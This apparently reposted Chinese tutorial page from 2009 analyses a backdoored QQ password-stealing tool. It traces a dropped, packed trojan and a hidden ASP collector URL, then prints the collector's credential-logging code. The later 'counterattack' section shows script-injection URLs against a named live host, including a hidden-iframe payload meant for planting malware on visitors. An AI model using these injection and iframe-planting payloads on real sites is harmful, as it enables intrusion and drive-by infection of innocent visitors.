当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 找出安全漏洞 QQ盗号软件后门分析与反击

安全基础
用net start 可以启动肉鸡的命令(2)
用net start 可以启动肉鸡的命令(3)
用net start 可以启动肉鸡的命令(4)
DDOS攻击 如何判断是否遭到流量攻击
网络防“虫”手段和全局安全网络的应用
个人网络安全防卫手册(1)
个人网络安全防卫手册(2)
个人网络安全防卫手册(3)
个人网络安全防卫手册(4)
个人网络安全防卫手册(5)
个人网络安全防卫手册(6)
一位高手整理的IIS FAQ
使用Exchange 2003防御地址欺骗(1)
使用Exchange 2003防御地址欺骗(2)
RAdmin 服务端高级配置(1)
只防病毒不安全 网络还需防什么(1)
只防病毒不安全 网络还需防什么(2)
主动防御电脑病毒并非天方夜谭
用XPSP2防火墙打造最强护身甲(1)
用XPSP2防火墙打造最强护身甲(2)

安全基础 中的 找出安全漏洞 QQ盗号软件后门分析与反击


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-19   浏览: 241 ::
收藏到网摘: n/a

  今天无聊给一朋友讲解QQ盗取原理,从网上找了一个工具 “明小子QQ密码特工”结果发现这个软件有后门。下面就让我带着大家来分析一下。

  首先我们用nod32来查一下有没有毒。图1

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  看到了吧没有病毒。我们把监控打开在运行看看图2

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  看到了吧 NOD32检测到了病毒。为了确认一下。我再用‘木马辅助查找器’的文件监视功能来检测下。图3

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  新建 C:\Documents and Settings\Administrator\Local Settings\Temp\IXP003.TMP\123.exe

  很明显软件本身在运行的同时释放了一个123.exe 而NOD32查杀到的也就是这个文件。

  C:\Documents and Settings\Administrator\Local Settings\Temp\IXP003.TMP\

 

  接着我们用peid查下123.exe. 图4

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  EP段.nsp1经常搞免杀的应该知道这是北斗加的壳,我们再看看区段vmp 图5

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  这个一看就是用vmprotect做的免杀。至于123.exe是什么木马咱门就不继续分析了。

  接下来分析他生成后的文件是不是一样令人担忧。

  随便配置一个图6

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  Ollydbg手工给他脱壳esp定律简单 图7

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  脱壳成功后我们在用PEID检测下 图8

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  我们再用c32asm对他进行反汇编,搜索asp图9

 

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  看到了什么 .刚才我是默认设置的应该是http://k.thec.cn/xieming/69q/qq.asp才对。,怎么会是http://langyeqq.cn/qq/newbacka.asp 这个呢!我们浏览看看 图10

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  "pzQQ"看到了吧,说明就是他的盗号的,从这些可以确定,这个软件不但运行的时候施放一个木马,而且就连我们配置好的文件也被他留了后门,而作者就坐等着收号了。

  后门反击战 作者:fhod

  看到这..想必大家也和我一样非常气愤..难道我们就任由作者下去吗.当然不..现在我们就开始反击.

  我们来看看qq.asp的代码

  首先来看

  strLogFile="Q7.txt"

  这个是QQ接受文件..默认的是q7.txt

  继续看代码

QQNumber=request("QQNumber")

QQPassWord=request("QQPassWord")

QQclub=request("QQclub")

QQip=request("QQip")

  是没经过任何过滤的..这些参数的数据我们完全可以自定义

  在往下看

if QQNumber="" or QQPassWord="" then

response.write "pzQQ"

response.end

  假如QQNumber和QQPassWord的值为空就返回pzQQ .然后程序结束工作.. 只要这两个值不为空就继续执行下面的代码

StrLogText =StrLogText&QQNumber&"----"&QQPassWord&"----会员:"& QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")

StrLogText=StrLogText&")"

  写入q7.txt文件

 

  格式为 QQ号码----QQ密码----会员:----IP:

  继续看下面的代码

set f=Server.CreateObject("scripting.filesystemobject") (没有q7.txt这个文件就自动新建)

set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)

ff.writeline(StrLogText) (打开q7.txt并写入数据)

  最后response.write "发送成功!" 满足条件提示成功.

  所有的代码也就是这些..程序并未做任何过滤..和处理..也就是说..只要满足qq.asp?QQNumber=123&QQPassWord=123 就回返回 "发送成功!"的提示.

  http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=123图11

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  这就证明了QQNumber=123&QQPassWord=123这两个我们是可以自己定义的..如果我们写入的不是数字..而且一段脚本代码呢?会不会执行呢..让我们来试下
http://www.ciker.org/soft/qq.asp?QQNumber=123&QQPassWord=< ... quot;fhod")</script>

  图12

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  插入代码成功...我们来看下

  http://www.ciker.org/soft/q7.txt的源文件又是什么样的..

  图13

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  再次证明对提交的数据是无任何限制的...我们完全可以自己发挥想象.插入任何代码都可以...

  如果想反挂马的话..我们就可以提交以下数据

 

以下是引用片段:
http://www.ciker.org/soft/qq.asp?QQNumber=123&QQ
PassWord=<iframe%20&# ... 20width=480%20height=480></iframe>

  图14

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载

  当然我这里把width和height设置为480只是为了方便演示..实际挂马中要改为0

  好了..现在我们就可以给作者一个惊喜去了..图15

找出安全漏洞 QQ盗号软件后门分析与反击_软晨学习网ruanchen.com转载